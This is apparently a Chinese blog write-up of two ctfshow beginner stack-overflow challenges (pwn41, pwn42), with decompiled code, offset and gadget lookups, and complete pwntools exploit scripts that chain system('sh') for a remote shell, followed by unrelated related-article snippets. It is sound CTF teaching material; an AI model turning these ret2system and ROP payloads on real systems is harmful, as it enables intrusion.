CTFshow-pwn入门-栈溢出pwn41-pwn42

pwn41

在这里插入图片描述
我们首先将pwn文件下载下来,拖入到虚拟机查看一下文件的保护信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
该文件只开启了栈不可执行,并且文件是32位的。
我们把文件托到ida32中查看一下反编译代码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  logo(&argc);
  ctfshow();
  puts("\nExit");
  return 0;
}
ssize_t ctfshow()
{
  char buf[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, buf, 0x32u);
}
int hint()
{
  system("echo flag");
  return 0;
}
int useful()
{
  return printf("sh");
}

先简单说下这道题的思路,首先ctfshow函数中buf数组长度为14,却需要读入0x32个长度的数据,显然存在栈溢出。其次我们还可以注意到,hint函数中存在system函数,我们可以plt表中获取system函数的地址,然后再从useful函数获取到sh的地址,这样就可以拼凑处system(“sh”),进而拿到服务器的shell。

编写exp

计算溢出长度

在这里插入图片描述
从ctfshow函数中可以看到,buf在栈中的位置在ebp上面12h处,加上ebp本身所占栈单元的4个字节,那么栈溢出的长度就为0x12h+0x4h

拿到system函数的地址

使用objdump命令获取文件的plt表,从而直接拿到system函数的地址。

objdump -d -j .plt pwn

在这里插入图片描述
system函数的地址为:0x080483d0

拿到sh的地址

直接在ida中点击sh,可以直接跳转到data段从而拿到sh的地址。
在这里插入图片描述
sh的地址为:0x080487BA

写exp.py

from pwn import *

io = remote("pwn.challenge.ctf.show", "28160")

offset = 0x12 + 0x4

system_addr = 0x080483d0
sh_addr = 0x080487BA

payload = offset * 'a' 
payload += p32(system_addr)
payload += 'a' * 4 # 表示system函数的返回地址,由于不需要返回到某个地方,所以用4个字节顶替
payload += p32(sh_addr)

io.sendline(payload)
io.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

pwn42

在这里插入图片描述
首先我们还是先将文件下载下来,托到虚拟机查看保护信息。

chmod +x pwn
checksec pwn

在这里插入图片描述
文件的保护信息与上道题目几乎一样,开启了栈不可执行,只不过这个文件是64位的。那我们就先把他拖进到ida64中查看他的反编译代码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  logo();
  ctfshow();
  puts("\nExit");
  return 0;
}
ssize_t ctfshow()
{
  char buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  return read(0, buf, 0x32uLL);
}
__int64 hint()
{
  system("echo flag");
  return 0LL;
}
int useful()
{
  return printf("sh");
}

这道题的代码几乎跟上道题也是差不多的,还是一样的思路,利用ctfshow函数中buf的栈溢出,通过hint函数的system函数与useful函数的sh相结合拼凑成system(sh)来获得shell。

只不过在64位中,需要堆栈平衡 ,并且64位的传参和32位也不一样。

具体64位传参方式如下:
当参数少于7个时, 参数从左到右放⼊寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前⾯⼀样, 但后⾯的依次从 “右向左” 放⼊栈中,和32位汇编⼀样。

编写exp

计算溢出长度

在这里插入图片描述
首先可以观察到,buf在栈中的位置在rbp上面Ah处,加上rbp本身所占栈单元的长度为8(32位为4,64位为8),那么溢出长度就为0xa + 0x8

拿到system函数的地址

还是通过使用objdump命令来获得文件的plt表从而拿到system函数的地址。

objdump -d -j .plt pwn

在这里插入图片描述
system函数的地址为:0x0000000000400560

拿到sh的函数地址

直接在ida中点击sh,即可跳转到data段,就可以获得sh的地址了。
在这里插入图片描述
sh的地址为:0x0000000000400872

拿到pop rdi;ret和ret的地址

pop rdi,把参数pop到rdi寄存器中,再通过ret将程序的执行流控制到我们在栈中传入的恶意地址。

ROPgadget --binary pwn --only "pop|ret"

在这里插入图片描述
pop rdi;ret的地址为:0x0000000000400843
ret的地址为:0x000000000040053e

ret是为了64位的堆栈平衡,具体堆栈平衡的知识可以看一下两篇文章
https://www.cnblogs.com/ZIKH26/articles/15996874.html
https://blog.csdn.net/hu_c_t_f/article/details/131902515

写exp.py

from pwn import *

io = remote("pwn.challenge.ctf.show", "28142")

offset = 0xa + 0x8

pop_rdi = 0x0000000000400843
ret = 0x000000000040053e
sh_addr = 0x0000000000400872
system_addr = 0x0000000000400560

payload = offset * 'a'
payload += p64(pop_rdi)
payload += p64(sh_addr)
payload += p64(ret)
payload += p64(system_addr)

io.sendline(payload)
io.interactive()

在这里插入图片描述
在这里插入图片描述
成功拿到flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/273591.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

MySQL数据库:复合查询

目录 一. 多表查询 二. 子查询 2.1 单行子查询 2.2 多行子查询 2.3 多列子查询 2.4 在from语句中使用子查询 三. 合并查询 3.1 union 3.2 union all 四. 总结 前置说明:本文主要oracle 9i的经典雇员信息测试表为例,进行示例演示。 该表有三个…

git远程操作,推送【push】,拉取【pull】,忽略特殊文件,配置别名,标签管理

文章目录 前言:新建远程仓库克隆推送【push】拉取【pull】 配置git忽略特殊文件给命令配置别名 标签管理理解标签创建标签操作标签 前言: 大家如果没有看过前几章git的基础操作的话,推荐先看一下,看完再来看这个远程操作&#xf…

ARM12.26

整理三个按键中断代码 key_it.h #ifndef __KEY_IT_H__ #define __KEY_IT_H__ #include"stm32mp1xx_gpio.h" #include"stm32mp1xx_gic.h" #include"stm32mp1xx_exti.h" #include"stm32mp1xx_rcc.h" #include"led.h" void k…

ARCGIS PRO SDK 要素空间关系

一、要素与要素查询,返回的是bool值 1、 Touches 判断几何要素是否接触 Touches 如果 geometry1 与 geometry2 接触,则返回 true,否则 false。 touches GeometryEngine.Instance.Touches(Geometry1, Geometry2) 2、…

ROS 传感器 激光雷达

激光雷达,全称Light Detection And Ranging,主要用于利用激光来检测物体以及测量与物体之间的距离,是一种重要的传感器技术,这种技术被广泛应用于自动驾驶、无人船、无人机等领域,用于避障和环境探测。 在ROS环境中&a…

什么是阿里云负载均衡SLB?

目录 硬件或软件负载均衡的区别是什么? 什么是阿里云负载均衡SLB? 阿里云传统型负载均衡CLB 硬件或软件负载均衡的区别是什么? 通过专用硬件实现负载均衡,那么整体成本会较高,而且设备容易出现单点故障,…

简析SoBit 跨链桥图文教程

从BTC网络到Solana网络桥接BRC20 1.打开SoBit平台:在您的网络浏览器中启动SoBit Bridge应用程序。 2.连接您的钱包: 选择SoBit界面右上角的比特币网络来连接您的数字钱包。 3.选择源链、目标链和您想桥接的代币: 从下拉菜单中选择’BTC’作为…

弱电工程计算机网络系统基础知识

我们周围无时无刻不存在一张网,如电话网、电报网、电视网、计算机网络等;即使我们身体内部也存在许许多多的网络系统,如神经系统、消化系统等。最为典型的代表即计算机网络,它是计算机技术与通信技术两个领域的结合。 计算机网络的…

【PTA】L1-016 验证身份(C++)

题目链接 : 题目要求: 一个合法的身份证号码由17位地区、日期编号和顺序编号加1位校验码组成。校验码的计算规则如下: 首先对前17位数字加权求和,权重分配为:{7,9,10,5&#xff0…

axios进行图片上传组件封装

文章目录 前言图片上传接口(axios通信)图片上传使用upload上传头像效果展示总结 前言 node项目使用 axios 库进行简单文件上传的模块封装。 图片上传接口(axios通信) 新建upload.js文件,定义一个函数,该函数接受一个上传路径和一…

.Net7.0 或更高版本 System.Drawing.Common 上传图片跨平台方案

项目升级.Net7.0以后,System.Drawing.Common开关已经被删除,且System.Drawing.Common仅在 Windows 上支持 ,于是想办法将原来上传图片验证文件名和获取图片扩展名方法替换一下,便开始搜索相关解决方案。 .Net6.0文档:…

【vue滚动条插件vuescroll】【vue自定义滚动条】

文章目录 前言一、使用步骤1.下载2.引入库三、在组件中如何使用?四、跳转到顶部的方法scrollTo() 五、效果总结 前言 由于浏览器自带的滚动条比较不符合设计图,所以在大部分项目中,我们都会自定义滚动条的样式,来还原设计图&…

Hive实战:词频统计

文章目录 一、实战概述二、提出任务三、完成任务(一)准备数据文件1、在虚拟机上创建文本文件2、将文本文件上传到HDFS指定目录 (二)实现步骤1、启动Hive Metastore服务2、启动Hive客户端3、基于HDFS文件创建外部表4、利用Hive SQL…

安装kafka

静态文件安装(单机) 解压到指定目录(解压到 /usr) tar -zxf kafka_2.11-2.2.0.tgz -C /usr/ 到指定的解压目录下 cd /usr/kafka_2.11-2.2.0/ 配置主机名 查看是否配置了HOSTNAME vim /etc/sysconfig/network 没有就新增 HOSTNA…

记录汇川:MODBUS TCP-梯形图

H5U的MODBUS通信不需要编写程序,通过组态MODBUS通信配置表,实现数据通信。 Modbus-TCP 主站即Modbus-TCP客户端,通过Modbus-TCP配置,可最多支持同时与31个 Modbus-TCP服务器(从站)进行通讯。 …

大数据与人工智能|全面数字化战略与企业数字化转型(第1节 )

要点一:培养跨学科思维 在分析时,需要采用多学科的思维方式 结果不重要,重要的是如何提炼现象、分析问题和得出结论的过程。 1. 介绍了锤子精神和多学科思维方式的重要性。指出了只从自身学科出发解决问题的局限性。 2. 提倡跨学科思维方式&a…

C语言易错知识点九(指针(part three))

❀❀❀ 文章由不准备秃的大伟原创 ❀❀❀ ♪♪♪ 若有转载,请联系博主哦~ ♪♪♪ ❤❤❤ 致力学好编程的宝藏博主,代码兴国!❤❤❤ 许久不见,甚是想念,本大忙人已经很久没有更新博客了,我想大概我的粉丝们早…

数据库原理及应用·关系数据库标准语言SQL

4.1 SQL概述 4.1.1 SQL的产生和发展 1.产生 1974年,SQL语言的雏形最早由美国IBM公司的Raymond F. Boyce和Donald D. Chamberlin提出 1975-1979年,在System R上首次实现,由IBM的San Jose研究室研制,称为SEQUEL 2.发展 1986年推…

文件夹共享功能的配置 以及Windows server2012防火墙的配置

目录 一. 配置文件夹共享功能 1.1 为什么需要配置文件夹共享功能 1.2 配置文件夹共享 1.3 访问共享文件夹 1.4 配置取消 用户名和密码认证 二. windows server 2012防火墙配置 思维导图 一. 配置文件夹共享功能 1.1 为什么需要配置文件夹共享功能 我们在工作和生活中经…

RM3100 stm32驱动(硬件i2c)

目录 RM3100接线HAL库I2C函数HAL_I2C_Mem_ReadHAL_I2C_Mem_WriteHAL_I2C_Master_Transmit / HAL_I2C_Master_Receive例子 HSHAKE寄存器 cubemx配置RM3100寄存器驱动最终效果 RM3100接线 原理图 SA0 SA1接地,此时i2c设备地址为0100000,即0x20 如果SA0接…